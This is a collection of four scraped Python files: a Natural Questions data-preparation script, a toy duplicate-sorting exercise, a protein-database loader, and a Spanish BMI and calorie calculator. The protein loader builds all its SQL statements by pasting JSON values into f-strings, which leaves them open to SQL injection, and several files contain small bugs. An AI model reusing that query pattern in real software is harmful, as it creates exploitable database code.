+{"seq_id":"39269449093","text":"# coding=utf-8\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport gzip\nimport random\nimport run_nq\nimport tensorflow as tf\n\n\n\nflags = tf.flags\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string(\n    \"input_dir\", None,\n    \"Dir which contains Gzipped files containing NQ examples in Json format, one per line.\")\n\nflags.DEFINE_string(\"output_tfrecord\", None,\n                    \"Output tf record file with all features extracted.\")\n\nflags.DEFINE_bool(\n    \"is_training\", True,\n    \"Whether to prepare features for training or for evaluation. Eval features \"\n    \"don't include gold labels, but include wordpiece to html token maps.\")\n\nflags.DEFINE_integer(\n    \"max_examples\", 0,\n    \"If positive, stop once these many examples have been converted.\")\n\n\n\n\n\ndef get_examples(input_jsonl_pattern):\n    for input_path in tf.gfile.Glob(input_jsonl_pattern):\n        with gzip.GzipFile(fileobj=tf.gfile.Open(input_path)) as input_file:\n            for line in input_file:\n                yield run_nq.create_example_from_jsonl(line)\n\n\ndef convert_jsonl(input_jsonl,creator_fn,instances):\n    num_examples = 0\n    num_examples_with_correct_context = 0\n    print(input_jsonl)\n    examples = get_examples(input_jsonl)\n    for example in examples:\n        num_examples += 1\n        for instance in creator_fn.process(example):\n            instances.append(instance)\n        if num_examples%100==0:\n            print(\"finished_examples: \",num_examples)\n        if example[\"has_correct_context\"]:\n            num_examples_with_correct_context += 1\n        if FLAGS.max_examples > 0 and num_examples >= FLAGS.max_examples:\n            break\n    tf.logging.info(\"Examples with correct context retained: %d of %d\",num_examples_with_correct_context, num_examples)\n    return [num_examples,num_examples_with_correct_context]\n\ndef main(_):\n    instances = []\n    num_examples = 0\n    num_examples_with_correct_context = 0\n    creator_fn = run_nq.CreateTFExampleFn(is_training=FLAGS.is_training)\n    print(\"start prepare data\\n\")\n    filePath = FLAGS.input_dir\n    input_files=os.listdir(filePath)\n    for input_file in input_files:\n        print(input_file)\n        ret = convert_jsonl(FLAGS.input_dir+input_file,creator_fn,instances)\n        num_examples+=ret[0]\n        num_examples_with_correct_context+=ret[1]\n        print(\"num_examples: \",num_examples)\n    print(\"start writing\")\n    print(len(instances))\n    random.shuffle(instances)\n    with tf.python_io.TFRecordWriter(FLAGS.output_tfrecord) as writer:\n        for instance in instances:\n            writer.write(instance)\n        writer.close()\n    print(\"finish writing\")\n    print(\"num_examples: \",num_examples)\n    print(\"num_examples_with_correct_context: \",num_examples_with_correct_context)\n\n\n\nif __name__ == \"__main__\":\n    flags.mark_flag_as_required(\"vocab_file\")\n    tf.app.run()\n","repo_name":"zzhao1998/nq_model","sub_path":"bert_joint/rubbish/prepare_data_dir.py","file_name":"prepare_data_dir.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"42749050243","text":"array=[1,4,5,4,3,2,7,9,5,4]\nnew_array=sorted(array)\ndicti={}\nfor item in array:\n\tif  item not in dicti:\n\t\tdicti[item]=1\n\n\telse:\n\t\tdicti[item]+=1\n\n# print(dicti)\nsorted_array=[]\n\n\"\"\"\nwhile provided the dictionary is empty\n\n\n\"\"\"\n# print(dicti)\n\n# print(f' the dicito {dicti.items()}')\nd=sorted(dicti.items(),key=lambda item:item[1])\narray=[]\nfor key,value in d:\n\twhile value>0:\n\t\tarray.append(key)\n\t\tvalue-=1\n\t# while value>0:\n\t# \tarray.append(key)\n\t# array.append(f'{key}  '*value)\n\n\n\n# d=sorted(dicti.values(),)\n# print(d)\n# print(f\"the sorted is {d}\")\n\nprint(array)\n# while len(dicti)>1:\n\n# \tmaximum_items=0\n# \tfor key in dicti.keys():\n# \t\tprint(key)\n\n\t\t# dict[key]=None\n\n\n\t# pass\n\n\nclass Duplicates:\n\n\tdicti={}\n\n\tduplicated_array=[]\n\tdef __init__(self,array):\n\t\tself.array=sorted(array)\n\n\n\tdef  setDicti(self):\n\n\t\tfor item in self.array:\n\t\t\tif item not in self.dicti:\n\t\t\t\tself.dicti[item]=1\n\n\t\t\telse:\n\t\t\t\tself.dicti[item]+=1\n\n\tdef sort_dicti(self):\n\t\treturn sorted(self.dicti.items(),key=lambda item:item[1])\n\n\n\tdef get_results(self):\n\n\t\t# print(f'{self.dicti}')\n\n\t\tfor key,value in  self.sort_dicti():\n\t\t\twhile value>0:\n\t\t\t\tself.duplicated_array.append(key)\n\n\t\t\t\tvalue-=1\n\n\n\n\tdef __len__(self):\n\t\treturn len(self.duplicated_array)\n\n\tdef final_results(self):\n\t\t# if self.duplicated_array>0:\n\n\t\tif  len(self.duplicated_array)>0:\n\n\t\t\treturn self.duplicated_array\n\n\n\tdef get_direct_duplicates(self):\n\t\tself.setDicti()\n\t\tself.sort_dicti()\n\t\tself.get_results()\n\t\treturn self.final_results()\n\n\ns=Duplicates([1,4,4,4,5,4,2,2,1,33,3,3,3,32,3])\n\n# print(s.get_direct_duplicates())\nd=s.get_direct_duplicates()\nprint(d)\n\n\n\n\n# print( f\"value s are {q}\")\n# print(s.sort_dicti().get_results().final_results())\n# print()\n\n\n\t\t# get_dicti=self\n\t\t\n\n\n\n\t# def __str__\n\n\n# binary sort,is find mid divide into tow\ndef find_mid(array):\n\n\t# sorted()\n\n\tstart=array[0]\n\tend=len[array]\n\n\tfn_sort(start,end)\n\ndef compute_factorial(num):\n\n\tif num<1:\n\t\treturn 1\n\telse:\n\t\treturn num*compute_factorial(num-1)\n\nprint(compute_factorial(5))\n","repo_name":"Alexanderlacuna/python_folder","sub_path":"corona/play_area/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40702105591","text":"import ujson\nimport os\nimport sys\n\ninserted_sequences = []\ninserted_proteins = []\ninserted_protein_transformations = []\ninserted_transformations = []\ninserted_domains = []\ninserted_domain_transformations = []\ninserted_domain_pairs = []\ninserted_residue_labels = []\n\ncur, connection = None, None\n\ndef get_sequence_id(uniprot_id):\n    sequence_id = 0\n    exists_query = f\"select exists (select 1 from sequences where uniprot_id = '{uniprot_id}');\"\n\n    cur.execute(exists_query)\n    if not cur.fetchone()[0]:\n        sequence_id_query = \"select nextval('sequences_sequence');\"\n        cur.execute(sequence_id_query)\n        sequence_id = cur.fetchone()[0]\n\n        insert_query = f\"INSERT INTO sequences(sequence_id, uniprot_id) VALUES ({sequence_id}, '{uniprot_id}');\"\n        cur.execute(insert_query, (uniprot_id))\n\n        inserted_sequences.append(sequence_id)\n\n    else:\n        sequence_id_query = f\"select sequence_id from sequences where uniprot_id = '{uniprot_id}';\"\n        cur.execute(sequence_id_query)\n        sequence_id = cur.fetchone()[0]\n\n    return sequence_id\n\ndef get_protein_id(pdb_code, chain_id, file_location, sequence_id):\n    if not check_pdb_code_and_chain_id(pdb_code, chain_id):\n        sys.exit(\n            f\"Unexpected format of pdb_code ('{pdb_code}') and chain_id ('{chain_id}')\")\n\n    exists_query = f\"select exists (select 1 from proteins where pdb_code = '{pdb_code}' and chain_id = '{chain_id}');\"\n    protein_id = 0\n    \n    # check if the protein is not already in the DB\n    cur.execute(exists_query)\n    if not cur.fetchone()[0]:\n        protein_id_query = \"select nextval('proteins_sequence');\"\n        cur.execute(protein_id_query)\n        protein_id = cur.fetchone()[0]\n\n        insert_query = f\"INSERT INTO proteins(protein_id, pdb_code, chain_id, is_holo, sequence_id, file_location) VALUES ({protein_id},'{pdb_code}', '{chain_id}', false, {sequence_id}, {file_location} );\"\n        cur.execute(insert_query)\n\n        inserted_proteins.append(protein_id)\n\n    else:\n        protein_id_query = f\"select protein_id from proteins where pdb_code = '{pdb_code}' and chain_id = '{chain_id}';\"\n        cur.execute(protein_id_query)\n        protein_id = cur.fetchone()[0]\n    \n    return protein_id\n\ndef get_domain_id(cath_id, protein_id, span_start, span_end):\n    exists_query = f\"select exists (select 1 from domains where cath_id = '{cath_id}' and protein_id = '{protein_id}');\"\n    domain_id = 0\n    \n    # check if the domain is not already in the DB\n    cur.execute(exists_query)\n    if not cur.fetchone()[0]:\n        domain_id_query = \"select nextval('domains_sequence');\"\n        cur.execute(domain_id_query)\n        domain_id = cur.fetchone()[0]\n\n        insert_query = f\"INSERT INTO domains(domain_id, cath_id, protein_id, domain_span) VALUES ({domain_id},'{cath_id}', {protein_id}, '({span_start}, {span_end})' );\"\n        cur.execute(insert_query)\n\n        inserted_domains.append(domain_id)\n\n    else:\n        domain_id_query = f\"select domain_id from domains where cath_id = '{cath_id}' and protein_id = '{protein_id}';\"\n        cur.execute(domain_id_query)\n        domain_id = cur.fetchone()[0]\n    \n    return domain_id\n\ndef get_domain_pair_id(domain_id1, domain_id2):\n    exists_query = f\"select exists (select 1 from domain_pairs where (domain_id1 = '{domain_id1}' and domain_id2 = '{domain_id2}') or (domain_id1 = '{domain_id2}' and domain_id2 = '{domain_id1}'));\"\n    domain_pair_id = 0\n    \n    # check if the domain is not already in the DB\n    cur.execute(exists_query)\n    if not cur.fetchone()[0]:\n        domain_pair_id_query = \"select nextval('domain_pairs_sequence');\"\n        cur.execute(domain_pair_id_query)\n        domain_pair_id = cur.fetchone()[0]\n\n        insert_query = f\"INSERT INTO domain_pairs(domain_pair_id, domain_id1, domain_id2) VALUES ({domain_pair_id},'{domain_id1}', {domain_id2} );\"\n        cur.execute(insert_query)\n\n        inserted_domain_pairs.append(domain_pair_id)\n\n    else:\n        domain_pair_id_query = f\"select domain_pair_id from domain_pairs where (domain_id1 = '{domain_id1}' and domain_id2 = '{domain_id2}') or (domain_id1 = '{domain_id2}' and domain_id2 = '{domain_id1}');\"\n        cur.execute(domain_pair_id_query)\n        domain_pair_id = cur.fetchone()[0]\n    return domain_pair_id\n\ndef get_domain_pair_transformation_id(before_domain_pair_id, after_domain_pair_id, before_snapshot, after_snapshot, transformation_id):\n    domain_pair_transformation_id_query = \"select nextval('domain_pair_transformations_sequence');\"\n    cur.execute(domain_pair_transformation_id_query)\n    domain_pair_transformation_id = cur.fetchone()[0]\n\n    insert_query = f\"INSERT INTO domain_pair_transformations(domain_pair_transformation_id, before_domain_pair_id, after_domain_pair_id, before_snapshot, after_snapshot, transformation_id) VALUES ({domain_pair_transformation_id} ,{before_domain_pair_id}, {after_domain_pair_id}, {before_snapshot}, {after_snapshot}, {transformation_id});\"\n    cur.execute(insert_query)\n\n    inserted_domain_transformations.append(domain_pair_transformation_id)\n\n    return domain_pair_transformation_id\n\ndef get_domain_transformation_id(before_domain_id, after_domain_id, before_snapshot, after_snapshot, transformation_id):\n    domain_transformation_id_query = \"select nextval('domain_transformations_sequence');\"\n    cur.execute(domain_transformation_id_query)\n    domain_transformation_id = cur.fetchone()[0]\n\n    insert_query = f\"INSERT INTO domain_transformations(domain_transformation_id, before_domain_id, after_domain_id, before_snapshot, after_snapshot, transformation_id) VALUES ({domain_transformation_id} ,{before_domain_id}, {after_domain_id}, {before_snapshot}, {after_snapshot}, {transformation_id});\"\n    cur.execute(insert_query)\n\n    inserted_domain_transformations.append(domain_transformation_id)\n\n    return domain_transformation_id\n\n\ndef get_protein_transformation_id(before_protein_id, after_protein_id, before_snapshot, after_snapshot, transformation_id):\n    protein_transformation_id_query = \"select nextval('protein_transformations_sequence');\"\n    cur.execute(protein_transformation_id_query)\n    protein_transformation_id = cur.fetchone()[0]\n\n    insert_query = f\"INSERT INTO protein_transformations(protein_transformation_id, before_protein_id, after_protein_id, before_snapshot, after_snapshot, transformation_id) VALUES ({protein_transformation_id} ,{before_protein_id}, {after_protein_id}, {before_snapshot}, {after_snapshot}, {transformation_id});\"\n    cur.execute(insert_query)\n\n    inserted_protein_transformations.append(protein_transformation_id)\n\n    return protein_transformation_id\n\ndef get_transformation_id(transformation_length, dataset_id):\n\n    transformation_id_query = \"select nextval('transformations_sequence');\"\n    cur.execute(transformation_id_query)\n    transformation_id = cur.fetchone()[0]\n\n    insert_transformation_query = f\"INSERT INTO transformations(transformation_id, transformation_length, dataset_id) VALUES ({transformation_id} ,{transformation_length}, {dataset_id});\"\n    cur.execute(insert_transformation_query)\n\n    return transformation_id\n\ndef insert_protein_data(protein_transformation_id, rmsd, compare_secondary_structure):\n    insert_transformation_query = f\"INSERT INTO protein_transformations_data(protein_transformation_id, rmsd, compare_secondary_structure) VALUES ({protein_transformation_id} ,{rmsd}, {compare_secondary_structure});\"\n    cur.execute(insert_transformation_query)\n\ndef insert_domain_data(domain_transformation_id, rmsd, compare_secondary_structure):\n    insert_transformation_query = f\"INSERT INTO domain_transformations_data(domain_transformation_id, rmsd, compare_secondary_structure) VALUES ({domain_transformation_id} ,{rmsd}, {compare_secondary_structure});\"\n    cur.execute(insert_transformation_query)\n\ndef insert_domain_pair_data(domain_pair_transformation_id, rmsd, hinge_angle, hinge_translation_in_axis, hinge_translation_overall, before_interface_buried_area, after_interface_buried_area):\n    insert_transformation_query = f\"INSERT INTO domain_pair_transformations_data(domain_pair_transformation_id, rmsd, hinge_angle, hinge_translation_in_axis, hinge_translation_overall, before_interface_buried_area, after_interface_buried_area) VALUES ({domain_pair_transformation_id} ,{rmsd}, {hinge_angle}, {hinge_translation_in_axis}, {hinge_translation_overall}, {before_interface_buried_area}, {after_interface_buried_area});\"\n    cur.execute(insert_transformation_query)\n\ndef insert_residue_data(label, protein_transformation_id, before_residue_start, before_residue_end, after_residue_start, after_residue_end):\n    residue_id_query = \"select nextval('residue_labels_label_id_seq');\"\n    cur.execute(residue_id_query)\n    label_id = cur.fetchone()[0]\n    insert_label_query = f\"INSERT INTO residue_labels(label_id, label, protein_transformation_id, before_residue_start, before_residue_end, after_residue_start, after_residue_end) VALUES ({label_id} ,'{label}', {protein_transformation_id}, {before_residue_start}, {before_residue_end}, {after_residue_start}, {after_residue_end});\"\n    cur.execute(insert_label_query)\n\n    inserted_residue_labels.append(label_id)\n\ndef insert_lcs_data(protein_transformation_id, i1, i2, lcs_length):\n    insert_transformation_query = f\"INSERT INTO protein_lcs_data(protein_transformation_id, size, i1, i2) VALUES ({protein_transformation_id} ,{lcs_length}, {i1}, {i2});\"\n    cur.execute(insert_transformation_query)\n\ndef parse_protein_info(data):\n    return [data[\"before_pdb_code\"], data[\"after_pdb_code\"], data[\"before_chain_id\"], data[\"after_chain_id\"], data[\"uniprot_id\"]]\n\ndef parse_file_locations(data):\n    return [data[\"before_file_location\"], data[\"after_file_location\"]]\n\ndef parse_dataset_id(data):\n    return data[\"dataset_id\"]\n\ndef parse_cath_id(data, index = \"\"):\n    return [data[\"before_cath_id\" + index], data[\"after_cath_id\" + index]]\n\ndef parse_snapshots(data):\n    return [data[\"before_snapshot\"], data[\"after_snapshot\"]]\n\ndef parse_rmsd(data):\n    return data[\"rmsd\"]\n\ndef parse_compare_secondary_structure(data):\n    return data[\"compare_secondary_structure\"]\n\ndef parse_lcs(data):\n    return [data[\"i1\"], data[\"i2\"], data[\"lcs_length\"]]  \n\ndef parse_domain_span(data):\n    return [data[0], data[1]]\n\ndef parse_hinge_info(data):\n    return [data[\"hinge_angle\"], data[\"hinge_translation_in_axis\"], data[\"hinge_translation_overall\"]]\n\ndef parse_interface_buried_area(data):\n    return [data[\"before_interface_buried_area\"], data[\"after_interface_buried_area\"]]\n\ndef parse_label(data):\n    return data[\"label\"]\n\n\ndef parse_and_insert_protein_transformation(transformation, transformation_id):\n    [before_pdb_code, after_pdb_code, before_chain_id, after_chain_id, uniprot_id] = parse_protein_info(transformation)\n    [before_snapshot, after_snapshot] = parse_snapshots(transformation)\n    [before_file_location, after_file_location] = parse_file_locations(transformation)\n    sequence_id = get_sequence_id(uniprot_id)\n    before_protein_id = get_protein_id(before_pdb_code, before_chain_id, before_file_location, sequence_id)\n    after_protein_id = get_protein_id(after_pdb_code, after_chain_id, after_file_location, sequence_id)\n\n    i = transformation['protein_transformation']\n    rmsd = parse_rmsd(i)\n    compare_secondary_structure = parse_compare_secondary_structure(i)\n    [i1, i2, lcs_length] = parse_lcs(i)\n\n    protein_transformation_id = get_protein_transformation_id(before_protein_id, after_protein_id, before_snapshot, after_snapshot, transformation_id)\n    \n    insert_protein_data(protein_transformation_id, rmsd, compare_secondary_structure)\n    insert_lcs_data(protein_transformation_id, i1, i2, lcs_length)\n\n    return protein_transformation_id\n\n\ndef parse_and_insert_domain_transformation(transformation, transformation_id):\n    [before_pdb_code, after_pdb_code, before_chain_id, after_chain_id, uniprot_id] = parse_protein_info(transformation)\n    [before_snapshot, after_snapshot] = parse_snapshots(transformation)\n    [before_file_location, after_file_location] = parse_file_locations(transformation)\n\n    sequence_id = get_sequence_id(uniprot_id)\n    before_protein_id = get_protein_id(before_pdb_code, before_chain_id, before_file_location, sequence_id)\n    after_protein_id = get_protein_id(after_pdb_code, after_chain_id, after_file_location, sequence_id)\n\n    for i in transformation['domain_transformation']:\n        print(i['before_cath_id'])\n        [before_cath_id, after_cath_id] = parse_cath_id(i)\n        [before_domain_span_start, before_domain_span_end] = parse_domain_span(i['before_domain_span'])\n        [after_domain_span_start, after_domain_span_end] = parse_domain_span(i['after_domain_span'])\n\n        rmsd = parse_rmsd(i)\n        compare_secondary_structure = parse_compare_secondary_structure(i)\n\n        before_domain_id = get_domain_id(before_cath_id, before_protein_id, before_domain_span_start, before_domain_span_end)\n        after_domain_id = get_domain_id(after_cath_id, after_protein_id, after_domain_span_start, after_domain_span_end)\n        \n        domain_transformation_id = get_domain_transformation_id(before_domain_id, after_domain_id, before_snapshot, after_snapshot, transformation_id)\n\n        insert_domain_data(domain_transformation_id, rmsd, compare_secondary_structure)\n\n\ndef parse_and_insert_domain_pair_transformation(transformation, transformation_id):\n    [before_pdb_code, after_pdb_code, before_chain_id, after_chain_id, uniprot_id] = parse_protein_info(transformation)\n    [before_snapshot, after_snapshot] = parse_snapshots(transformation)\n    [before_file_location, after_file_location] = parse_file_locations(transformation)\n\n    sequence_id = get_sequence_id(uniprot_id)\n    before_protein_id = get_protein_id(before_pdb_code, before_chain_id, before_file_location, sequence_id)\n    after_protein_id = get_protein_id(after_pdb_code, after_chain_id, after_file_location, sequence_id)\n\n    for i in transformation['domain_pair_transformation']:\n        [before_cath_id1, after_cath_id1] = parse_cath_id(i, '1')\n        [before_cath_id2, after_cath_id2] = parse_cath_id(i, '2')\n\n        [before_domain_span_start1, before_domain_span_end1] = parse_domain_span(i['before_domain_span1'])\n        [before_domain_span_start2, before_domain_span_end2] = parse_domain_span(i['before_domain_span2'])\n        [after_domain_span_start1, after_domain_span_end1] = parse_domain_span(i['after_domain_span1'])\n        [after_domain_span_start2, after_domain_span_end2] = parse_domain_span(i['after_domain_span2'])\n        [before_interface_buried_area, after_interface_buried_area] = parse_interface_buried_area(i)\n        [hinge_angle, hinge_translation_in_axis, hinge_translation_overall] = parse_hinge_info(i)\n\n        rmsd = parse_rmsd(i)\n\n        before_domain_id1 = get_domain_id(before_cath_id1, before_protein_id, before_domain_span_start1, before_domain_span_end1)\n        before_domain_id2 = get_domain_id(before_cath_id2, before_protein_id, before_domain_span_start2, before_domain_span_end2)\n        after_domain_id1 = get_domain_id(after_cath_id1, after_protein_id, after_domain_span_start1, after_domain_span_end1)\n        after_domain_id2 = get_domain_id(after_cath_id2, after_protein_id, after_domain_span_start2, after_domain_span_end2)\n\n        before_domain_pair_id = get_domain_pair_id(before_domain_id1, before_domain_id2)\n        after_domain_pair_id = get_domain_pair_id(after_domain_id1, after_domain_id2)\n        \n        domain_pair_transformation_id = get_domain_pair_transformation_id(before_domain_pair_id, after_domain_pair_id, before_snapshot, after_snapshot, transformation_id)\n        insert_domain_pair_data(domain_pair_transformation_id, rmsd, hinge_angle, hinge_translation_in_axis, hinge_translation_overall, before_interface_buried_area, after_interface_buried_area)\n\ndef parse_and_insert_residue_transformation(transformation, transformation_id, protein_transformation_id = -1):\n    if protein_transformation_id == -1:\n        [before_pdb_code, after_pdb_code, before_chain_id, after_chain_id, uniprot_id] = parse_protein_info(transformation)\n        [before_snapshot, after_snapshot] = parse_snapshots(transformation)\n        [before_file_location, after_file_location] = parse_file_locations(transformation)\n\n        sequence_id = get_sequence_id(uniprot_id)\n        before_protein_id = get_protein_id(before_pdb_code, before_chain_id, before_file_location, sequence_id)\n        after_protein_id = get_protein_id(after_pdb_code, after_chain_id, after_file_location, sequence_id)\n\n        protein_transformation_id = get_protein_transformation_id(before_protein_id, after_protein_id, before_snapshot, after_snapshot, transformation_id)\n    \n    for i in transformation['residue_transformation']:\n        [before_residue_start, before_residue_end] = [i[\"before_residue_span\"][0], i[\"before_residue_span\"][1]]\n        [after_residue_start, after_residue_end] = [i[\"after_residue_span\"][0], i[\"after_residue_span\"][1]]\n        label = parse_label(i)\n\n        insert_residue_data(label, protein_transformation_id, before_residue_start, before_residue_end, after_residue_start, after_residue_end)\n\nif __name__ == \"__main__\":\n    sys.path.insert(0, '..')\n\n    from base import log_to_db, check_pdb_code_and_chain_id\n\n    cur, connection = log_to_db()\n\n    if(len(sys.argv) < 2):\n        sys.exit(\"JSON file as parameter expected!\")\n\n    file_name = sys.argv[1]\n    dirname = os.path.dirname(__file__)\n\n    # Opening JSON file\n    f = open(os.path.join(dirname, file_name))\n\n    data = ujson.load(f)\n\n    for transformation_sequence in data:\n        if len(transformation_sequence) > 0:\n            protein_transformation_id = -1\n            transformation_id = get_transformation_id(len(transformation_sequence), parse_dataset_id(transformation_sequence[0]))\n            for transformation in transformation_sequence:\n                    if \"protein_transformation\" in transformation:\n                        protein_transformation_id = parse_and_insert_protein_transformation(transformation, transformation_id)\n                    if \"domain_transformation\" in transformation:\n                        parse_and_insert_domain_transformation(transformation, transformation_id)\n                    if \"domain_pair_transformation\" in transformation:\n                        parse_and_insert_domain_pair_transformation(transformation, transformation_id)\n                    if \"residue_transformation\" in transformation:\n                        if protein_transformation_id != -1:\n                            parse_and_insert_residue_transformation(transformation, transformation_id, protein_transformation_id)\n                        else:\n                            parse_and_insert_residue_transformation(transformation, transformation_id)\n            inserted_transformations.append(transformation_id)\n    connection.commit()\n    with open('inserted-data.json', 'w') as f:\n        inserted_rows = {\n            \"inserted_sequences\": inserted_sequences,\n            \"inserted_proteins\": inserted_proteins,\n            \"inserted_protein_transformations\":inserted_proteins,\n            \"inserted_transformations\": inserted_transformations,\n            \"inserted_domains\": inserted_domains,\n            \"inserted_domain_transformations\": inserted_domain_transformations,\n            \"inserted_domain_pairs\": inserted_domain_pairs,\n            \"inserted_residue_labels\": inserted_residue_labels\n        }\n        ujson.dump(inserted_rows, f)\n\n","repo_name":"skrhakv/ProteInspector","sub_path":"database/insert-data/update-db/update-db.py","file_name":"update-db.py","file_ext":"py","file_size_in_byte":19510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17860952444","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTodo debe poder calcularse con lo que se pide inicialmente\n*peso en kilogramos\n*altura en metros\n*edad en años\n*genero (mujer, hombre)\n*actividad fisica\n\"\"\"\n\n\"\"\"\nlogica calculo IMC\n\"\"\"\ndef calcular_IMC(peso: float, altura: float)->float:\n    \"\"\"\n    Calcula el índice de masa corporal de una persona.\n    Parametros:\n        peso en Kg\n        altura en metros\n    \"\"\"\n    IMC = peso / (altura ** 2)\n    return IMC\n\n#--------------------------------------------------------------------------------\n\"\"\"\nlogica calculo porcentaje de grasa\n\"\"\"\ndef calcular_porcentaje_grasa(peso: float, altura: float, edad: int, genero: str)->float:\n    \"\"\"\n    Calcula el porcentaje de grasa de una persona\n    Parametros:\n        peso en kg\n        altura en metros\n        edad en años\n        genero --> indica si el valor genero en el calculo es 0 o 10.8\n    \"\"\"\n    IMC = calcular_IMC(peso, altura)\n    genero_2 = genero.lower() \n    if genero_2 == 'mujer':\n        valor_genero = 0\n    elif genero_2 == 'hombre':\n        valor_genero = 10.8\n    else:\n        print('Genero no permitido')\n        exit()\n    grasa_corporal = 1.2 * IMC + 0.23*edad-5.4-valor_genero\n    return grasa_corporal\n\n#--------------------------------------------------------------------------------\n\"\"\"\nlogica calculo calorias que se gastan en reposo\n\"\"\"\ndef calcular_calorias_en_reposo(peso: float, altura: float, edad: int, genero: str)->float:\n    \"\"\"\n    Calcula la cantidad de calorías que una persona quema estando en reposo\n    (esto es, su tasa metabólica basal)\n     Parametros:\n        peso en kg\n        altura en metros\n        edad en años\n        genero --> indica si el valor de genero debe ser 5 o -161\n    \"\"\"\n    altura_2 = altura * 100\n    genero_2 = genero.lower()\n    if genero_2 == 'mujer':\n        valor_genero = -161\n    elif genero_2 == 'hombre':\n        valor_genero = 5\n    else:\n        print('Genero no permitido')\n        exit()\n    TMB = 10*peso + 6.25*altura_2 - 5*edad + valor_genero\n    return TMB\n\n#--------------------------------------------------------------------------------\n\"\"\"\nlogica calculo calorias que se gastan con actividad fisica\n\"\"\"\n\ndef calcular_calorias_en_actividad(peso: float, altura: float, edad: int, genero: str, actividad: int)->float:\n    \"\"\"\n    Calcula la cantidad de calorías que una persona quema al realizar algún tipo \n    de actividad física (esto es, su tasa metabólica basal según actividad física)\n    Parametros:\n        peso en kg\n        altura en metros\n        edad en años\n        valor genero es un valor que varía según el género de la persona\n    \"\"\"\n    altura_2 = altura * 100\n    genero_2 = genero.lower()\n    if genero_2 == 'mujer':\n        valor_genero = -161\n    elif genero_2 == 'hombre':\n        valor_genero = 5\n    else:\n        print('Genero no permitido')\n        exit()\n    if actividad == 1:\n        valor_actividad = 1.2\n    elif actividad == 2:\n        valor_actividad = 1.375\n    elif actividad == 3:\n        valor_actividad = 1.55\n    elif actividad == 4:\n        valor_actividad = 1.725\n    elif actividad == 5:\n        valor_actividad = 1.9\n    else:\n        print('actividad no permitida')\n        exit()     \n    TMB = 10*peso + 6.25*altura_2 - 5*edad + valor_genero\n    TMB_ACTIVIDAD = TMB * valor_actividad\n    return TMB_ACTIVIDAD\n#--------------------------------------------------------------------------------\n\"\"\"\nlogica calculo consumo de calorias recomendado para adelgazar\n\"\"\"  \ndef consumo_calorias_recomendado_para_adelgazar(peso: float, altura: float, edad: int, genero: str)->str:\n    \"\"\"\n    Calcula el rango de calorías recomendado, que debe consumir una persona \n    diariamente en caso de que desee adelgazar\n    Parametros:\n        peso en kg\n        altura en metros\n        edad en años\n        valor genero es un valor que varía según el género de la persona\n    \"\"\"\n    altura_2 = altura * 100\n    genero_2 = genero.lower()\n    if genero_2 == 'mujer':\n        valor_genero = -161\n    elif genero_2 == 'hombre':\n        valor_genero = 5\n    else:\n        print('Genero no permitido')\n        exit()\n    TMB = 10*peso + 6.25*altura_2 - 5*edad + valor_genero\n    minimo_calorias,maximo_calorias=(0.8*TMB,0.85*TMB)  \n    mensaje = 'es recomendado que consumas entre: '+ str(round(minimo_calorias, 2)) + ' y ' + str(round(maximo_calorias, 2)) + ' calorías al día.' \n    return mensaje\n\n\"\"\"\nFunciones para interpretar los indices anteriores\n\"\"\"  \n\n#Interpretacion IMC\ndef categorizacion_segun_IMC (IMC: float)->str:\n    if IMC < 16:\n        categoria = 'Delgadez severa'\n    elif (IMC > 16 and IMC < 16.99):\n        categoria = 'Delgadez moderada'\n    elif (IMC > 17 and IMC < 18.49):\n        categoria = 'Delgadez aceptable'\n    elif (IMC > 18.5 and IMC < 24.99):\n        categoria = 'Peso normal'\n    elif (IMC > 25 and IMC < 29.99):\n        categoria = 'Sobrepeso'\n    elif (IMC > 30 and IMC < 34.99):\n        categoria = 'Obesidad tipo I'\n    elif (IMC > 35 and IMC < 39.99):\n        categoria = 'Obesidad tipo II'\n    elif (IMC > 40 and IMC < 49.99):\n        categoria = 'Obesidad tipo III o morbida'\n    elif (IMC > 50):\n        categoria = 'Obesidad tipo IV o extrema'\n    else:\n        print('IMC no permitido')\n    return categoria\n\n#Interpretacion porcentaje de grasa corporal \nimport sys\ndef rango_normal_grasa_corporal(GC: float, edad: int, genero: str)-> str:\n    genero_2 = genero.lower()\n    if (edad >= 20 and edad <= 29):\n        if genero_2 == 'mujer':\n            rango_recomendado = '16% a 28%'\n        elif genero_2 == 'hombre':\n            rango_recomendado = '11% a 20%'\n        else:\n            print('genero no permitido')\n            sys.exit()\n    elif (edad >= 30 and edad <= 39):\n        if genero_2 == 'mujer':\n            rango_recomendado = '17% a 29%'\n        elif genero_2 == 'hombre':\n            rango_recomendado = '12% a 21%'\n        else:\n            print('genero no permitido')\n            sys.exit()\n    elif (edad >=  40 and edad <= 49):\n        if genero_2 == 'mujer':\n            rango_recomendado = '18% a 30%'\n        elif genero_2 == 'hombre':\n            rango_recomendado = '14% a 23%'\n        else:\n            print('genero no permitido')\n            sys.exit()\n    elif (edad >=  50 and edad <= 59):\n        if genero_2 == 'mujer':\n            rango_recomendado = '19% a 31 %'\n        elif genero_2 == 'hombre':\n            rango_recomendado = '15% a 24%'\n        else:\n            print('genero no permitido')\n            sys.exit()\n    else:\n        print('edad no tiene un rango recomendado para este indice')\n    return rango_recomendado\n\n\n\n\n\n\n\n\n\n","repo_name":"tatianarbelaez/proyecto-python-coursera","sub_path":"calculadora_indices_mejorado.py","file_name":"calculadora_indices_mejorado.py","file_ext":"py","file_size_in_byte":6633,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
